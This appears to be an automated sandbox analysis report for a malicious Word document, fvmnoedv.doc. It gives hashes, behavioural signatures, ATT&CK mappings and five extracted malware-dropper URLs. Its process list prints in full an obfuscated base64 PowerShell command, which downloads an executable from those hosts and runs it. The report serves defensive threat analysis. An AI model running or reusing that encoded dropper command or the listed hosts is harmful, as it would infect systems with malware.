b6cadd34a5aee93bc88d830b2543b9adb3af8ddbd8bae4b99b03d4ec23c03ffc

General

Target

fvmnoedv.doc
Size

225KB
MD5

573d8faaeec1daf286fcb2561dccaeae
SHA1

e2d1331e2b7f36b14879f79e2bcd50b872a3465f
SHA256

b6cadd34a5aee93bc88d830b2543b9adb3af8ddbd8bae4b99b03d4ec23c03ffc
SHA512

4e11a0402bb0a47a4c829910bf3364231a151825faf4b35960902c71cfd93997a72c459dd06917a46e4296b2e178dad25055071f014a925cea0db6c14f0cb1af

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://fabfastfashion.com/hebes1/ppzXffY7My/

exe.dropper

http://soarflix.com/arcmulti/nA5T0999/

exe.dropper

http://cloudcertitude.com/mail/Ord4990/

exe.dropper

https://fzweiming.com/wp-content/Mz2592/

exe.dropper

http://billingup.com/wp-admin/MfFw298/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1292	4872	powersheLL.exe

Blocklisted process makes network request 4 IoCs

Processes:

powersheLL.exe

flow pid process

59 1292 powersheLL.exe
62 1292 powersheLL.exe
66 1292 powersheLL.exe
68 1292 powersheLL.exe

flow	pid	process
59	1292	powersheLL.exe
62	1292	powersheLL.exe
66	1292	powersheLL.exe
68	1292	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4864 WINWORD.EXE
4864 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1292 powersheLL.exe
1292 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1292 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4864 WINWORD.EXE
4864 WINWORD.EXE
4864 WINWORD.EXE
4864 WINWORD.EXE
4864 WINWORD.EXE
4864 WINWORD.EXE
4864 WINWORD.EXE

pid	process
4864	WINWORD.EXE
4864	WINWORD.EXE

pid	process
1292	powersheLL.exe
1292	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1292	powersheLL.exe

pid	process
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fvmnoedv.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4864

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABIAEMATQBVAFMAZQBqAG8APQAnAFQAVABMAFkAVABmAGQAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAcgBgAGkAYABUAFkAYABwAHIAbwBUAG8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABCAEwAUwBUAEgAawBsAHAAIAA9ACAAJwA0ADYANgAnADsAJABSAFcAVwBHAFUAZABsAHYAPQAnAEkASQBOAEgAUgB1AHMAeAAnADsAJABCAFIASABZAEkAagBrAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEIATABTAFQASABrAGwAcAArACcALgBlAHgAZQAnADsAJABHAFkARABPAFUAdQByAGUAPQAnAEMAUwBNAFAAQgB5AGQAeQAnADsAJABNAFQARwBUAEcAYwBoAGQAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAHQAOwAkAFEARQBGAFIAUwBuAG4AaAA9ACcAaAB0AHQAcAA6AC8ALwBmAGEAYgBmAGEAcwB0AGYAYQBzAGgAaQBvAG4ALgBjAG8AbQAvAGgAZQBiAGUAcwAxAC8AcABwAHoAWABmAGYAWQA3AE0AeQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AYQByAGYAbABpAHgALgBjAG8AbQAvAGEAcgBjAG0AdQBsAHQAaQAvAG4AQQA1AFQAMAA5ADkAOQAvACoAaAB0AHQAcAA6AC8ALwBjAGwAbwB1AGQAYwBlAHIAdABpAHQAdQBkAGUALgBjAG8AbQAvAG0AYQBpAGwALwBPAHIAZAA0ADkAOQAwAC8AKgBoAHQAdABwAHMAOgAvAC8AZgB6AHcAZQBpAG0AaQBuAGcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBNAHoAMgA1ADkAMgAvACoAaAB0AHQAcAA6AC8ALwBiAGkAbABsAGkAbgBnAHUAcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ATQBmAEYAdwAyADkAOAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATABWAFMAUgBHAGkAbwBmAD0AJwBGAE0AVABFAEIAaABxAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAUQBZAFMASABoAHoAYQAgAGkAbgAgACQAUQBFAEYAUgBTAG4AbgBoACkAewB0AHIAeQB7ACQATQBUAEcAVABHAGMAaABkAC4AIgBEAE8AYABXAG4AbABgAE8AQQBkAGYAaQBMAEUAIgAoACQAQgBRAFkAUwBIAGgAegBhACwAIAAkAEIAUgBIAFkASQBqAGsAeAApADsAJABFAEMAQgBCAFAAcQBlAGoAPQAnAEkAUwBHAE8ARQB0AGQAZwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEIAUgBIAFkASQBqAGsAeAApAC4AIgBMAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADIAMQA0ADgANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGUAYABBAFQAZQAiACgAJABCAFIASABZAEkAagBrAHgAKQA7ACQAUABTAFUAWgBPAG4AbAByAD0AJwBZAFIARQBaAEMAbAB5AHYAJwA7AGIAcgBlAGEAawA7ACQASgBHAEIATgBYAGYAZwBtAD0AJwBSAEkAQQBBAFUAZgB3AGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgBEAE4ATwBEAHkAeQBrAD0AJwBEAFQARABDAEYAeQBvAHgAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1292-138-0x000002DBEB610000-0x000002DBEB632000-memory.dmp

Filesize
136KB

Download
memory/1292-139-0x00007FFE0B830000-0x00007FFE0C2F1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-133-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-130-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-134-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-135-0x00007FFDF4CE0000-0x00007FFDF4CF0000-memory.dmp

Filesize
64KB

Download
memory/4864-136-0x00007FFDF4CE0000-0x00007FFDF4CF0000-memory.dmp

Filesize
64KB

Download
memory/4864-137-0x00000207668D0000-0x00000207668D4000-memory.dmp

Filesize
16KB

Download
memory/4864-132-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-131-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-141-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-142-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-143-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download
memory/4864-144-0x00007FFDF75B0000-0x00007FFDF75C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads